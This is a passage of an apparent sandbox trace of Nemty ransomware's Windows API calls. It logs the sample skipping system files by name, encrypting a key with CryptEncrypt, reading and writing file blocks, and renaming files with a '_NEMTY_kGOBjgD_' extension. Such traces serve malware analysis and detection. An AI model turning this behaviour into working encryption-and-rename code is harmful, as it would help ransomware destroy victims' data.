RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0103.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0103.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94358 [0103.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x63401b8 [0103.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0103.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0103.955] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnssui.dll.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnssui.dll.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\wmpnssui.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\en-us\\wmpnssui.dll.mui._nemty_kgobjgd_")) returned 0 [0103.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0103.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d0 | out: hHeap=0x4f90000) returned 1 [0103.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0103.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0103.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0103.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0103.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0103.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0103.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0103.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.956] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="WMPSideShowGadget.exe.mui", cAlternateFileName="")) returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2=".") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="..") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="...") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="windows") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="rsa") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="NTDETECT.COM") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="ntldr") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="MSDOS.SYS") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="IO.SYS") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="boot.ini") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="boot.ini") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="ntuser.dat") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="desktop.ini") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="CONFIG.SYS") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="RECYCLER") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="BOOTSECT.BAK") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="bootmgr") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="programdata") returned 1 [0103.956] lstrcmpiW (lpString1="WMPSideShowGadget.exe.mui", lpString2="appdata") returned 1 [0103.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0103.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPSideShowGadget.exe.mui", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0103.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPSideShowGadget.exe.mui", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPSideShowGadget.exe.mui", lpUsedDefaultChar=0x0) returned 25 [0103.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0103.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPSideShowGadget.exe.mui", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0103.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPSideShowGadget.exe.mui", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPSideShowGadget.exe.mui", lpUsedDefaultChar=0x0) returned 25 [0103.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0103.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0103.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0103.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0103.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPSideShowGadget.exe.mui", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0103.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0103.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPSideShowGadget.exe.mui", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPSideShowGadget.exe.mui", lpUsedDefaultChar=0x0) returned 25 [0103.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0103.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0103.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPSideShowGadget.exe.mui", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0103.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0103.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WMPSideShowGadget.exe.mui", cchWideChar=25, lpMultiByteStr=0x4f9ed58, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WMPSideShowGadget.exe.mui", lpUsedDefaultChar=0x0) returned 25 [0103.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0103.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0103.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94248 | out: hHeap=0x4f90000) returned 1 [0103.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0103.957] Sleep (dwMilliseconds=0x5) [0103.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf19e7110, dwHighDateTime=0x1d561e7)) [0103.972] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xf19e7110, dwHighDateTime=0x1d561e7)) [0103.972] GetLastError () returned 0x5 [0103.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0103.972] GetLastError () returned 0x5 [0103.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0103.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0103.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0103.972] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0103.972] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0103.972] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0103.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f941c0 [0103.972] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f941c0, pcchString=0x653ef9c | out: pszString="jRTT8J9YL4exjwLHym8yeENqcbQRv9RwhdtTq/E9D83RWSfXwUPCUZgasiyxtow5\r\nNLJjdeWiK7c+1hVwaGHXqrDCNE9aY/sYAT9UqJ8vlSsUJJb1fow8ZesfXoSxXjT8\r\nVL4W4PIXw4djOa3tBAku1hN84hESEclXQymRtLqgVCR5yfcl8AhAx+ad7mVeBh1t\r\nlTAI3CwOesDMmP17ZY2oFTTl2cylvxmCyWbPavX+4KLUsaiahZqz3LHPjpYvaRj2\r\ndhkR/oj+75saSkQ8YEZo6AwRPzrAbr3OeyHa9oEhtoWGCINlXO43R7zF57JAruj3\r\nI5haQk8dzK0FmeE23FEIMQ==\r\n", pcchString=0x653ef9c) returned 1 [0103.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0103.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0103.972] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0103.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0103.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941c0 [0103.972] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0103.972] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPSideShowGadget.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpsideshowgadget.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0103.973] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=18150282790957604) returned 0 [0103.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0103.973] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.973] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0103.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.992] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0103.992] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0103.992] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.001] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.011] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.020] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.020] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.020] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.029] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.029] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.040] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.040] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.050] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.050] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.050] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.060] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.060] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.060] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.071] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.071] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.071] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.077] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.077] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.077] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0104.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.090] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.090] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.090] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f941c0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0104.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0104.091] CloseHandle (hObject=0xffffffff) returned 0 [0104.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0104.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0104.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0104.091] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0104.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0104.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0104.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0104.091] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0104.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0104.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0104.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPSideShowGadget.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\wmpsideshowgadget.exe.mui"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\WMPSideShowGadget.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\en-us\\wmpsideshowgadget.exe.mui._nemty_kgobjgd_")) returned 0 [0104.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0104.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0104.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0104.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0104.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0104.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0104.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0104.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0104.091] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0104.091] HeapFree (in: 